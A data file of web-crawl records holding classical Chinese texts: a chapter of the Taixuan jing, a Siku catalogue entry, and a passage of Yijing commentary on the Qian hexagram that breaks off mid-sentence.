+{"text":"太玄經-太玄攡\n玄攡玄者,幽攡萬類而不見形者也。資陶虛無而生乎規,𢺄神明而定摹,通同古今以開類,攡措陰陽而發氣。一判一合,天地備矣。天日迴行,剛柔接矣。還復其所,終始定矣。一生一死,性命瑩矣。\n仰以觀乎象,俯以視乎情。察性知命,原始見終。三儀同科,厚薄相劘。圜則杌棿,方則嗇𠫤。噓則流體,唫則凝形。是故闔天謂之宇,闢宇謂之宙。日月往來,一寒一暑。律則成物,曆則編時。律曆交道,聖人以謀。晝以好之,夜以醜之。一晝一夜,陰陽分索。夜道極陰,晝道極陽。牝牡群貞,以攡吉凶。則君臣、父子、夫婦之道辯矣。是故日動而東,天動而西,天日錯行,陰陽更巡。死生相摎,萬物乃纏。故玄聘取天下之合而連之者也。綴之以其類,占之以其觚,曉天下之瞶瞶,瑩天下之晦晦者,其唯玄乎。\n夫玄晦其位而冥其畛,深其阜而眇其根,欀其功而幽其所以然者也。故玄卓然示人遠矣,曠然廓人大矣,淵然引人深矣,渺然絕人眇矣。嘿而該之者,玄也;㩣而散之者,人也。稽其門,闢其戶,叩其鍵,然後乃應。況其否者乎?人之所好而不足者,善也;人之所醜而有餘者,惡也。君子日彊其所不足而拂其所有餘,則玄道之幾矣。仰而視之在乎上,俯而窺之在乎下,企而望之在乎前,棄而忘之在乎後,欲違則不能,嘿則得其所者玄也。\n故玄者,用之至也。見而知之者智也,視而愛之者仁也,斷而決之者勇也,兼制而博用者公也,能以偶物者通也,無所繫輆者聖也。時與不時者命也。虛形萬物所道之謂道也,因循無革天下之理得之謂德也,理生昆群兼愛之謂仁也,列敵度宜之謂義也。秉道德仁義而施之之謂業也。瑩天功、明萬物之謂陽也,幽無形、深不測之謂陰也。陽知陽而不知陰,陰知陰而不知陽,知陰知陽,知止知行,知晦知明者,其唯玄乎。\n縣之者、權也,平之者、衡也。濁者使清,險者使平。離乎情者必著乎偽,離乎偽者必著乎情。情偽相盪而君子小人之道較然見矣。玄者、以衡量者也。高者下之,卑者舉之,饒者取之,罄者與之,明者定之,疑者提之。規之者、思也,立之者、事也,說之者、辯也,成之者、信也。\n夫天宙然示人神矣,夫地他然示人明也。天地奠位,神明通氣,有一有二有三。位各殊輩,回行九區,終始連屬,上下無隅。察龍虎之文,觀鳥龜之理,運諸桼政,繫之泰始極焉,以通琁璣之統,正玉衡之平。圜方之相研,剛柔之相干,盛則人衰,窮則更生,有實有虛,流止無常。\n夫天地設,故貴賤序。四時行,故父子繼。律曆陳,故君臣理。常變錯,故百事析。質文形,故有無明。吉凶見,故善否著。虛實盪,故萬物纏。陽不極則陰不萌,陰不極則陽不牙。極寒生熱,極熱生寒。信道致詘,詘道致信。其動也,日造其所無而好其所新;其靜也,日減其所有而損其所成。故推之以刻,參之以晷;反覆其序,軫轉其道也。以見不見之形,抽不抽之緒,與萬類相連也。\n其上也縣天,下也淪淵;纖也入薉,廣也包畛。其道游冥而挹盈,存存而亡亡,微微而章章,始始而終終。近玄者,玄亦近之;遠玄者,玄亦遠之。譬若天蒼蒼然在於東面、南面、西面、北面,仰而無不在焉,及其俛則不見也。天豈去人哉?人自去也。冬至及夜半以後者,近玄之象也。進而未極,往而未至,虛而未滿,故謂之近玄。夏至及日中以後者,遠玄之象也。進極而退,往窮而還,已滿而損,故謂之遠玄。日一南而萬物死,日一北而萬物生;斗一北而萬物虛,斗一南而萬物盈。日之南也,右行而左還;斗之南也,左行而右還。或左或右,或死或生,神靈合謀,天地乃并,天神而地靈。\nPublic domainPublic domainfalse","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%A4%AA%E7%8E%84%E7%B6%93-%E5%A4%AA%E7%8E%84%E6%94%A1","date":"2024-04-17T08:14:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817146.37\/warc\/CC-MAIN-20240417075330-20240417105330-00365.warc.gz","language":"lzh","language_score":0.4465216696,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44652166962623596, \"cmn_Hani_score\": 0.3968375027179718, \"nan_Hani_score\": 0.03937239199876785, \"wuu_Hani_score\": 0.031151538714766502, \"jpn_Jpan_score\": 0.018859591335058212, \"yue_Hani_score\": 0.011724786832928658, \"zxx_Latn_score\": 0.011482459492981434}","num_words":12,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.375,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部三十五 雜家類存目二\n脈望 八卷\n內府藏本\n明趙台鼎撰。台鼎字長元。自號丹華洞主。內江人。大學士貞吉之子也。其書雜論三教。於道藏尤爲詳悉。故名以脈望。自比於書內蠹魚三食神仙之字。然陳因相襲。未能獨抽奇祕也。","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0261502.html","date":"2017-07-21T14:37:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423785.29\/warc\/CC-MAIN-20170721142410-20170721162410-00402.warc.gz","language":"lzh","language_score":0.5188711882,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.5188711881637573, \"cmn_Hani_score\": 0.4093426465988159, \"yue_Hani_score\": 0.03812026605010033}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.519,"perplexity_score":500.0,"cluster_detection":1} +{"text":"乾卦\n閱讀古文, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 63, 65\n三畫伏羲氏八卦也,六畫文王重之也。乾下乾上者,三畫之乾也。成卦之乾者,六畫之乾也。《說卦》曰:乾徤也,坤順也。乾為天,坤為地。《雜卦》曰:乾剛坤柔。《序卦》曰:有天地然後萬物生焉。此六十四象所以首乾而次坤也。乾坤之所得剛柔健順之名,而該乎天地之象,何也?凡肇於形氣可名者一,一者數之所從起也。天之所以清,地之所以寧,皆原於一,以一而含三,則圍三徑一者,圓之象也。以一而含六則觚,六如一者,方之象也。是故乾為元,而其數三。坤為方,而其數六。六者四方上下之形,而三者天地人之道也。是故有一則有二,有三則有六。一為奇,二為偶。奇為陽,偶為陰。陽為剛,陰為柔。剛為健,柔為順。剛柔健順,无所不為也。此自然之理。固與象數相符矣。昔之畫卦者,仰取諸天,俯取諸地,近取諸身,故一卦三畫,畫而皆一,則其數為奇,其氣為陽,其體為剛,其用為健矣。畫而皆二,則其數為偶,其氣為陰,其體為柔,其用為順矣。天下之至健者,莫如天三畫皆健,不曰天乎。天下之至順者,莫如地三畫皆順,不曰地乎。重卦者,兼三才而兩之,故一卦六畫。三畫之變者八卦,六畫之變六十有四是為六十四卦。其至健至順者,未嘗易也。故三畫之乾為天,六畫之乾亦為天。三畫之坤為地,六畫之坤亦為地也。曷不以天地名其卦乎?曰:乾坤之義,其在人物無所不為矣,為君臣,為父子,為夫婦,為君子,為小人,為牛馬,為蓋輿,為衣裳,為赤黑,為清濁,為貴賤,為貧富,為眾寡。若曰天地而已矣,則理有所局,而象有所窮。天為寡而地為眾,天為富而地為貧。雖善喻者不容其喙矣,况於統天而行地者,何以見其義乎。故不曰天地,而曰乾坤,則其義無不通,其象無不具,此八卦命名之大例也。\n乾,元亨利貞。\n乾彖也,元亨利貞彖辭也。下文《彖》曰者,夫子釋之也。夫子之賛易也,蓋别為篇章,初不連屬於經文之下,其題曰「彖」者釋彖也,題曰「象」者釋象也。題曰「繫辭」者,釋凡彖爻之下繫辭之大意也。題曰「文言」者衍釋乾坤二卦之言也。題「說卦」者,衍釋八卦之說也。題曰「序卦」者,釋六十四卦之序所以相叙而相成也。題曰「雜卦」者,釋六十四卦之變所以相雜而相居也。其《象》曰,《繫辭》、《文言》各依本經分上下篇,通為十篇,故謂之十翼。其後易家取《彖》、《象》、《文言》分繫於經,隨其彖爻之下,題云《彖》曰、《象》曰者,取十篇之明也。獨於乾卦爻終而後繫之者,存古文也。今之學者,不考其故,遂以孔子之言謂之繫象彖辭矣。子曰:「聖人設卦觀象,繫辭焉而明吉凶。智者觀其彖辭,則思過半矣。」豈夫子自為之而賛之歟?斯不待辨而明矣。元,始也。亨,通也。利,和也。貞,正也。此四者終始之義也,物始而通,通而和,和而正。不始則不生,不通則不暢,不和則不遂,不正則不威。始則大,故元又訓大。通則美,故亨又訓美。和則宜,故利又訓宜。貞則固,故貞又訓固。其本一也。一者何?元之謂也。元則亨而利,利而貞矣。此四言者在時為春夏秋冬,在德為仁義禮智,然而繫之乾,何也?曰乾為天,天者物之所資始也。坤為地,地者物之所資生也。乾不交坤,物何自始?坤不配乾,物何自生?故乾以六陽,坤以六陰,變化生成,備乎終始之義也。六十二卦皆以遠近愛惡言其情,惟乾坤純體,無剛柔之雜,自初至上,以始終為義,故文王繫其彖以元亨利貞之辭也。\n初九,潛龍勿用。九二,見龍在田,利見大人。九三,君子終日乾乾,夕惕若,厲無咎。九四,或躍在淵,無咎。九五,飛龍在天,利見大人。上九,亢龍有悔。用九,見羣龍無首,吉。\n初、二、三、四、五、上者,六位也。加之九六者,爻也。何從有此六位?由三才六畫而分之也。天有陰陽,地有剛柔,人有仁義,故一二三四五六者,所以象陰陽之體也。何從有此九六?卦畫有奇耦,而寓之也。奇為陽,耦為陰,陽為剛,陰為柔,故九六者,所以象陰陽之用也。然則何為不言一六,而言初上?曰:數不止於六,六也者畫之數也,无以著始終之義也。數起於一,一也者自六而逆數之也,无以見尊卑之義也。故變一為初,則知六之為終。變六為上,則知一之為初。故初上也者,本末之序,而首尾之義也。然則,曷為不言七八,而言九六?曰:六七八九者,四象之成數也。用九六而不用七八者,三天兩地而取之也。揲蓍三變而定之也。何謂參天兩地而取之?曰一三五,參天也。二四,兩地也。一三五合而為九,二四合而為六。九六者,乾坤之藴而剛柔之撰也。何謂揲耆三變而定之?曰:大衍之蓍,三變之後,下不至五,上不逮四。陽起於七,而窮於九。陰起於八,而窮於六。窮則變,變則通,故九六者陰陽之究,而變化之宗也。初二三四五上以為經,九六以為緯,而後易之義有所錯矣。或曰:然則曷不為言九初而言初九,不言二九而言九二?曰:以初攝九則始終之義明,以九攝二則體用之情著。夫豈苟云乎哉。\n《彖》曰:大哉乾元,萬物資始,乃統天。雲行雨施,品物流形。大明終始,六位時成,時乘六龍以御天。乾道變化,各正性命,保合太和乃利貞。首出庶物,萬國咸寧。\n以生以死,保全翕合,歸於太和,斯之謂利貞也。乾之成卦,四象皆乾。初為元,二為亨,三為利,四為貞,故曰觀其彖辭思過半矣。夫健而不息者天地,尊而元為首者也。乾為天為首,正者法天之健,侔首之尊,出於庶物之上,其用不息,其體无為,而萬國咸寧矣。\n《象》曰:天行健,君子以自强不息。\n乾之所以為天者,天行健也。四時行焉,萬物生焉,運而無息,豈非健乎。君子體之,自强不息,則天之道也。豈必王天下而後取法於乾哉。六十三象皆繫其名,獨變乾而稱健者,乾即是健,别无他意。舉一以例餘卦也。\n潛龍勿用,陽在下也。\n龍,陽物也。潛於重陰之下,啓蟄而升,莫之能禦,故震下一陽象之。時潛時飛,變化不測,故乾之純陽象之。夫震也者,乾之統天而時行者也。以其自下而升,故主乎震。以其變化不測,故統乎乾也。乾陽純體,無内外相應之義。自初至上,以始終為序,故彖辭曰「元亨利貞」,子曰「大明終始,六位時成,時乘六龍以御天」也。既以為純乾矣,而猶繫之曰乾下乾上,是猶存重乾之象也,故初與四為始,二與五為中,三與上為終,此重乾之終始也。初為始,上為終,二五為中正而分貴賤,三四為危疑而分險易,此純乾之終始也。初二為地,三四為人,五上為天,此易純乾之終始也。何以明之?初潛四淵,同於隱德。二見五飛,同於中正。三厲上亢,同於大道。潛而未能躍,見而未能飛,厲而不至亢,所以為乾下乾上也。潛龍勿用,陽之初也。亢龍有悔,陽之窮也。利見大人,中正之位也。見龍在田,飛龍在天,貴賤之等也。上下之交,危疑之地也。乾乾惕厲,或躍在淵,險易之分也。在淵為潛,在田為見,皆未離乎地也。上下無常,變化不測,則游於人間矣。飛而在天,亢而有悔,則升乎天上矣。此純乾之終始也。大明乎終始之義,則知乾之六位以時而成。乾之六龍以時而動,夫豈有隱乎哉。初九之為潛龍,何也?乾坤十二爻分配十二月,乾為春夏,坤主秋冬。孟春之月,蟄虫始振,龍於此時猶潛乎下也。潛而振,則陽氣之初矣。然而未可用也。君子隱而未見,行而未成,故戒之曰勿用。子曰:陽在下也。自漢至今,言易者皆謂,乾之六陽起子而終於已,初九於爻應冬至之候,方此時也,一物閉藏,蟄虫未振,何以喻陽氣乎?況於見龍在田,天下文明,而以應季冬之月。坤之初六履霜堅冰,而以明仲夏之時,又惑矣。疏至或引春秋晉史蔡墨有否在乾之姤,姤下卦巽,巽在辰巳有龍之象,夫龍陽物也,故震以一陽象之。巽反震者也,而同其象,豈不謬哉。則又曰:巽之究為躁卦,夫乾之初豈巽之究乎哉?或曰:冬至一陽生矣,而以孟春言之,其然豈其然乎?曰:易者象也,物之著見,然後謂之象,故周史有言,夏數得天,夫子亦曰:行夏之時,其作春秋也,以正月係之春,若合符契矣。曷謂其不然乎。\n見龍在田,德施普也。\n初九下卦之下,以陽居剛,故曰潛龍,言其時,言其物,而不可以言其地也。九二下卦之中,以陽居柔,故曰見龍在田。見者言乎其時也,龍者言乎其物也,田者言乎其地也。九二之為見龍在田,何也?仲夏之月,雷乃發聲,蟄虫咸出,龍於此時見而在田矣。龍之在田,誰能見之者,惟興雲致雨,雨我田時,則人皆見之矣。故在田云者,非龍之在田也,言龍之德在乎田也。所貴乎大人者,非貴其有德也,貴其德之能及物也。九二正中,行成名立,言而可以為人師,動而可以為世法,然猶垢汙自匿,獨善其身,埋光晦采,不自表見,則龍之與蚖,何以異哉?是乃楊朱之徒,而非大人之道也,故曰利見大人。見與見龍之見同,子曰德施普也,其是之謂乎。說者皆謂,九二為臣,九五為君,相與利見,失其義矣。\n終日乾乾,反復道也。\n易有四象之數,三至四是也。自四以往,无全象矣。反而視之,又四象也。兩儀生四象,四象生八卦,彖取其正,爻取其交,惟其所之則以為義。九三下卦之上,其正反皆乾象也。乾為君子,反覆皆乾,不離於道,君子乾乾之象也。下卦為晝,上卦為夜,上下之交,日之終而夜之夕也。故曰君子乾乾夕惕若,乾之又乾,健之至也。下乾之上,人君之位也。上乾之下,人臣之位也。上為人臣,下為人君。其體重剛,其位下中,三分天下有其二,以服事商,可謂危矣。有君民之大德,有事君之小心,是以終日乾乾,與時偕行。至於夕矣,可以息矣,然猶惕然恐懼,不敢自暇自逸,雖造次顛沛,必於其道。君子之進德修業如此,雖危而無咎矣,故曰厲无咎。子曰:反復道也。道也者不可須臾離也。或曰:九三之不為大人,何也?曰:君子者大人之通稱也。以其乾乾,故繫之君子。以其中正,故繫之大人也。然則其不取象乎龍,何也?曰:六爻皆龍也。九三者,危疑變化之地也。龍之變化,其時其位,皆不可以指言,而在於人間。有危厲之象,故以君子明之也。夫龍也者,惡表其終日乾乾而夕惕也哉。\n或躍在淵,進无咎也。\n九四上卦之下,正反皆乾。上為人臣,下為人君。重剛而不中,在於危疑變化之地,與九三同也。陽以進為安,以退為險也。九三未離乎下,而以陽居剛,故乾乾夕惕,而未免於厲。九四已進乎上矣,而以陽居柔,故曰或躍在淵。躍也者,下乾之上也。淵也者,上乾之下也。龍之變化,或躍而飛天,或下而潛淵,皆不可得而知也。ppp22-L2不言飛而言躍者别於五也不言潛而言淵者别於初也或躍在淵非龍而何然不正言之者以為不可得而見也故或之或之者疑之也見其將升則疑其躍見其无跡則宜在淵不知其變化也夫蟄之始振也吾知其為潛雷之發聲也吾知其為見至於變化孰知其所在哉夫安得不疑也君子之道推而行之放乎四海卷而懐之足保其身故其上下進退不可為常要以進德修業而巳故經曰無咎而子曰進無咎君子進德修業夫何咎之有哉\n飛龍在天大人造也\n九五上卦之中以陽居剛故曰飛龍在天龍之與天皆為陽物而五又天位本乎天者親上也孟子曰惟仁者宜在高位龍之在天是其宜矣九五之為飛龍在天何也曰蒼龍之興有角有亢有心有尾仲夏之月雷在南方龍以此時飛而在天矣龍之在天誰能見之者惟垂象著明光被四表則人皆見之矣夫蒼龍者東方之星也震之體也乾之元也而火為中星盛德在火正於南方豈不應其時而當其位也哉是故見而在田者龍之德也飛而在天者龍之位也二五之為中一也以其在下故言其德以其在上故言其位也以九居二有其德而無其位孔子是也以九居五有其德而又有其位舜禹是也以舜禹之德踐唐虞之位人歸之天命之然猶離世異俗自潔其身視天下有不屑為者是則許由之徒而非大人之道也故曰利見大人子曰大人造也五之利見則若九五者大有為於天下者也當五之時君子在上小人在下尊卑貴賤各當其分斯大人之造矣故又曰上治也或曰春夏之交龍也昬見而直謂九五何以明之曰虞書日永星火以正仲夏火蒼龍之中星也春秋左氏龍見而雩皆言其正也故月令仲夏之月大雩此其明騐矣或曰左氏又云龍見而畢務火見而致用何也曰此謂晨見也角亢為龍房心為火季秋之月角亢晨見東方農務畢而戒事矣角亢既没而火晨猶見於是乎致用矣故曰水昬正而栽以别於晨見之宿也仲尼曰丘聞之火伏而後蟄者畢今火猶西流司厯過矣火伏於孟冬知季秋之月猶西流也則其言龍見之不同宜矣夫龍見而雩何也謂龍飛在天可以吁嗟而求雨矣龍見而畢務何也龍主嵗功功成而後退也火伏而後蟄者畢何也在天成象在地成形火伏於上龍藏於下豈不然哉先儒以龍見而雩為建已之月誤矣或曰蒼龍在天位雖未正卦爻亦有其象乎曰固也孟春之月七宿皆没故謂之潛仲春角亢已見於天遠而望之有在田之象焉季春氐房已出乎地孟春尾箕未離乎淵仲夏正於南方季夏則已過中而亢於未申之位角星初没故有見羣龍無首之象焉蓋龍星畢見西具首歲矣聖人作經極乎天人之藴无所不該特微顯而闡幽舉其一端以示人耳仲尼於九二之象言德施普也蓋取龍之功用以明之又言天下文明則取諸垂象矣攷其義類曽有一之不然乎子曰無為而治者其舜也與夫何為哉恭巳正南面而巳龍在中天萬物咸覩其象蓋如此也或曰書言日永星火以正仲夏而月令以昏火中為季夏之月騐之乾象則月令合而書不應說者頗以嵗差言之其信然乎曰嵗差厯法也以人求天者也非天行之有差忒也由唐虞至於嬴秦由秦至於今其年代无甚相遠推虞書而合月令有一月之差則推月令以驗於今又當於孟秋之月矣然今皆但之宿與月令嵗舍差之論吾无取焉曰然則書之中星不應乾象何也曰韋與荀皆以宵騐而呂氏以昏紀故二終仲夏而火中月令季夏而火王蓋參互發明無乎而相悖矣學者詳之\n亢龍有悔盈不可久也\n上九重卦之極以陽居柔故曰亢龍有悔亢者高之極也陽至於此窮矣而上又無位不與物接斯為亢矣或曰上之與五皆天位也上為亢位何哉曰立天之道曰陰與陽陽為得位而陰為失之矣天道下覆地道上承人道親地故初不言地四不言人上不言天飛而愈上不位乎天將何以處之其亢旱之龍乎上九謂之亢龍何也曰季夏之月流金礫石龍於此時亢而在上矣夫日月星辰麗乎天者也龍之成形非麗天之物所以飛而在天雲之輔也亢而在上則雲無所輔則龍无所乘雲无所輔龍無所乘則暴而不成失其所以為龍矣其能以久在天上乎雖以崇高之資處盈成之勢驕滛矜夸失其臣民則危亡之道也他卦爻象若此必繫以凶咎之辭惟乾坤純體不同餘卦夫乾天下之至健也豈極而遂亢亢而不復也哉故不曰凶而曰悔不曰悔而曰有悔者未必然之詞也子曰盈不可久也惟其自然盈是以難久若夫滿而不溢高而不危何不可之有哉\n用九天德不可為首也\n六十二卦不言用惟乾用九坤用六何也曰他卦六爻剛柔上下變化无常惟乾坤純體自初至上以始終為序故陽則亢陰則戰自然之理也夫大人者豈與時偕極而巳乎必有以用之則長久而无敝矣故曰用九用九之道豈其不如上九乎使其不為上九則乾坤至五而終矣至五而終五又窮也然則變為上六乎乾當為夬坤當剝矣夫所貴乎乾者為其至健也所貴乎坤者為其至順也合將變而夬為剝則奚取於乾坤矣夬之上六曰无號有終凶子曰无號之凶終不可長也剝之上九曰小人剝廬子曰小人剝廬終不可用也夬剝之終其不可用亦明矣變而為乾坤庶乎其可也豈使乾坤變而為夬剝乎然則用九之道何如曰有以用之則無變乎上九而治矣九為進上為退九為存上為亡知進退存亡而不失其正者其惟聖人乎正者何也以九居上一陰一陽天德之正也然則九五不曰天德乎曰九者天之德也五者天之位也位乎天德惟九五當之然夫子於二言正中於上言不失其正而五不言之者其可知也故曰見羣龍无首善用上九者不居其位而居其德使羣龍皆見而不為之首羣龍者眾覽之象也不為首者不賢之義也采雲氣御羣龍利澤萬物光被四表不示其跡不顯其用不尸其功不有其義豈其首可得而見耶夫乾為首上亦為首而以陽居柔是失其位而无其首者也无首之象以位言之則凶以德言之則吉故上九著其悔而用九言其吉曰天德不可為首也斯之謂吉也使上為陽位而九居之能不為首乎老氏有言迎之不見其首其知用九之則矣\n文言曰元者善之長也亨者嘉之會也利者義之和也貞者事之幹也君子體仁足以長人嘉會足以合禮利物足以和義貞固足以幹事君子行此四德者故曰乾元亨利貞\n六十四卦乾坤有文言何也大象釋之矣又將申言之不幾於贅乎聖人以學者執文害意舉一隅不以三隅反故於乾卦凡三釋彖五釋小象反復發明或一言而互稱或數言而同指使學者觸類而長深思而得至於坤則申言之而巳至於他卦亦特舉其一二見於繫辭之訓學者明乎乾則通乎坤明乎坤則六十四卦无不通矣將使夫子悉而言之則有不勝言者矣或曰何以謂之文言曰子不云乎物相雜故曰文又曰其旨遠其辭文由是言之即彖象之辭也夫子蓋曰言之不文行之不遠學者考其象讀其辭而不知其義則將棄置以為卜筮之書聖人蓋有不得已焉故演釋其文言以為道德性命之理不過如此使學者盡心焉矣仁善為吉義善為藏豈弟君子宜君宜王故曰元者善之長又曰體仁足以長人不會則不通不嘉則不暢觀其會通行其典禮故曰亨者嘉之會又曰嘉會足以合禮非義无以制非和无以行行天下之大順致天下之大利故曰利者義之和又曰利物足以和義通變之謂事立本之謂幹知終知始成巳成物故曰貞者事之幹又曰貞固足以幹事乾為君子在乾為元亨利貞在君子為仁義禮智惟君子能行仁義禮智四德者故其《彖》曰:乾其辭曰元亨利貞也元言仁亨言禮利言義貞不言智而此幹固之言又近乎信學者疑焉无足怪者是故兼乎智信而言之矣或曰信於五行為土於四時為季而乃曰貞也者兼乎智信而言之何也曰子不云乎艮也者東北之卦也萬物之所成終而成始也夫萬物於此終於此始非智不足以知之非信不足以守之仁義與禮非其物也是故水土皆生於坤而盛於坎至於艮則成矣成者誠也故曰成乎艮誠則明矣明則誠矣知之不明則守之不誠守之不誠則發之不勇乾元亨利无自而見矣貞固足以幹事不亦宜乎是故聖人仰觀鳥獸之東龍震木仁也西虎兌金義也南烏離火禮也北合??蛇坎艮之象也聖人之言甚微而顯至曲而中如此而言蓋舉三隅矣今之儒者莫能以一隅反是可悲也巳或曰文言四德魯穆姜固巳言之非聖人之言也曰是何言乎聖人吐辭為經必不盡出於巳誠使先民有是言穆姜誦之而夫子亦誦之是言也穆姜云元體之長以物象為義也夫子云元善之長以訓詁為義也言各有當如此豈可誣也哉以為其語出於穆姜則不智之甚矣\n初九曰潛龍勿用何謂也子曰龍德而隱者也不易乎世不成乎名遯世无悶不見是而无悶樂則行之憂則違之確乎其不可㧞潛龍也\n不易乎世故遯世而无悶不成乎名故舉世非之而无悶樂則行之簞瓢之樂也憂則違之飢溺之憂也君子獨居而樂獨思而憂樂其樂而違其憂者豈無心於天下哉以為行未成而名未立道可隱而身不可不立是則潛龍之時也\n九二見龍在田利見大人何謂也子曰龍德而正中者也庸言之信庸行之謹閑邪存其誠善世而不伐德愽而化易曰見龍在田利見大人君德也\n庸常也中庸之謂也九二中正故也言易者皆謂剛柔得位為正不得其位謂之不正然夫子於是言正中學者可以知易矣\n九三曰君子終日乾乾夕惕若厲无咎何謂也子曰君子進德修業忠信所以進德也修詞立其誠所以居業也知至至之可與幾也知終終之可與存義也是故居上位而不驕在下位而不憂故乾乾因其時而惕雖危无咎矣\n進德所以成己修業所以成物忠信言行之本也言行忠信之表也言出乎身加乎民故修其辭行發乎邇見乎遠故立其誠君子之德盛矣而不忘於進業廣矣而不忘於修是以日新而富有也是之謂居業也九三居下乾之上在人君之位居上乾之下在人臣之位知其可至於此而至之可謂不失其幾矣知其可終於此而終之可謂不失其義矣知至至之故在上位而未嘗驕知終終之故居下位而未嘗憂至之言極也終之言盡也皆九三之謂也或曰九三之位危疑如此烏知其在下位而不憂乎曰以其乾乾而知之也夫乾天下之至健而德行恒易也反復皆乾不離於道君子進德修業居易以俟命夫何憂之有哉說者或謂三知上之可至而將至之是則行險以僥倖者也欲无憂得乎\n九四曰或躍在淵无咎何也也子曰上下无常非為邪也進退无恒非離羣也君子進德修業欲及時也故无咎\n上下以位言進退以龍言九四之位謂之上則上乾之下也謂之下則下乾之上也是不可為常也九四之龍謂之進則猶在乎淵也謂之退則已躍乎上也是不可為恒也為上而能君為下而能臣是謂无常可以進則進可以退則退是謂无恒人見其无常則疑其為邪見其无恒則疑其離羣不知君子之進德修業上下進退各有其時欲及其時固宜如此也然則九四者何以知其進德修業而非為邪離羣者乎曰以其乾乾而知之體重乾之健得剛健之正是以上下而非為邪進退而非離羣也或曰然則九三九四皆為乾乾而上下進退之辭不繫之三何也曰上下進退云者言其不可測也三四者皆龍變化之位三在人間而四則離之矣龍未離乎人間未可以言變化也謂之反復乾乾可也蓋以九居三可以為剛不可以柔故曰乾乾言其至健而已也以九居四可以為剛亦可以柔故曰或躍在淵言其變化无常不可測識而不謂之乾乾也以九居四故有上下進退之辭以九居上故有得喪存亡之義夫豈苟云乎哉\n九五飛龍在天利見大人何謂也子曰同聲相應同氣相求水流濕火就燥雲從龍風從虎聖人作而萬物覩本乎天者親上本乎地者親下則各從其類也\n水之所流必濕火之所就必燥虎嘯而風自生龍生而雲自行何以知其然也濕土氣也燥金氣也土者艮也水者坎也坎之從艮以其類也金者兌也火者離也離之從兌亦其類也夫燥濕之文固以從水火矣雲者坎也龍者震也坎之從震以其類也風者巽也虎者兌也巽之從兌以其類也所以然者同聲不得不應同氣不得不求故燥濕不與水火期而水火即之龍虎不與風雲期而風雲隨之也是故以聖人之德居聖人之位其德昭明其位萬物咸覩亦以同聲相應同氣相求故也或曰曷不取乾為金坤為土乎曰艮者東北之土其象為止水之所畏也坤之為土柔順而巳非水之所從也兌者西方之金其象為毁折火之所制也乾之為金則剛健純粹矣非火之所就也是故本乎天者親上震坎艮從乾而居也本乎地者親下巽離兌從坤而位也是則各從其類者也然而係之九五何也曰五陽位而在天九陽物而為龍龍之與天皆為陽物龍飛在天固其所也天者乾也龍者震也震之從乾以其類也故夫有天下而君之謂之天子者其義蓋取諸此也或曰如子之論飛龍在天震從乾也雲從龍者坎從震也水流濕者坎從艮也夫九五既為乾又為震坎艮何也以九居五以聖人之德居聖人之位是也而又曰羣賢並興萬物咸覩其象何從而生其意何從而出也應之曰不明乎此而可以學易乎哉震之一陽乾之始也坎之一陽乾之中也艮之一陽乾之終也得其全者為乾得其一者為震坎艮夫乾之在爻則既已列而言之矣以九居五得乎陽者无不在焉是故兼乎三才之象也夫九五者豈其以聖人之德居聖人之位如斯而已乎尊者從其尊卑者從其卑大者從其大小者從其小斯九五之為矣是故聖人有作而羣賢並興飛龍在天而萬物咸覩本乎天者親上本乎地者親下則九五之時義也\n上九曰亢龍有悔何謂也子曰貴而无位高而无民賢人在下位而无輔是以動而有悔也\n五陽位上陰位以九居上貴而无位也陽為君陰為民乘乎九五高而无民也陽為主陰為輔遠於二四志不相應賢人在下而无輔也无位而无民遠賢而无輔動而有悔不亦宜乎\n潛龍勿用下也見龍在田時舍也終日乾乾行事也或躍在淵自試也飛龍在天上治也亢龍有悔窮之灾也乾元用九天下治也\n侍講程頤讀舍為去聲訓止夫龍豈止於田者哉井之初六曰井泥不食下也舊井无禽時舍也與此文同皆上聲讀下也者言龍之所在也時舍也者言有其德而無其位不在乎天而在乎田也行事者言其進德修業終日乾乾也自試者言其上下進退或躍在淵也上治者言尊卑小大各當其分故飛龍在天窮之災也言消息盈虛自然之理故亢龍有悔也天下治者言治不忘亂安不忘危沉潛剛克高明柔克羣賢並用垂拱无為故用九而天下治也\n潛龍勿用陽氣潛藏見龍在田天下文明終日乾乾與時偕行或躍在淵乾道乃革飛龍在天乃位乎天德亢龍有悔與時偕極乾元用九乃見天則\n此言上下二卦之分也初四為始初則潛藏而四乃革矣革之言變也二五為中二則文明而五乃位乎天德矣德稱其位也三上為終三與之偕行而上乃與之偕極矣極之言窮也若夫乾元用九乃見天則者天无為而六子用四時行而百物生斯其則矣孔子曰惟天為大惟堯則之亦如是爾九二既曰時舍也又曰天下文明何也此非因相反所以使學者致其思也夫時之所舍而天下以之文明豈非聖人在下德博而化者哉故九二於時為仲春於晨為單閼日出東方天下明矣治則未也角見東方龍出蟄而民就田矣嵗功未也是故日中星鳥以殷仲春日永星火以正仲夏春分日中夏至日永鳥為鶉火心為大火聖人之言豈苟云乎哉\n乾元者始而亨者也利貞者性情也乾始能以美利利天下不言所利大矣哉大哉乾乎剛健中正純粹精也六爻發揮旁通情也時乘六龍以御天也雲行雨施天下平也\n按文當曰乾元亨者始而亨也利貞者性情也陸德明音義云鄭康成本作情性章句脱亂學者不勝異說然文或從省語或遁形惟其理之所歸雖不校正亦自暁然何至紛紛也夫子既釋元亨利貞為四德矣懼學者執而不通於是序雜而言之序雜而言之者性情也元亨之義為始而通則利貞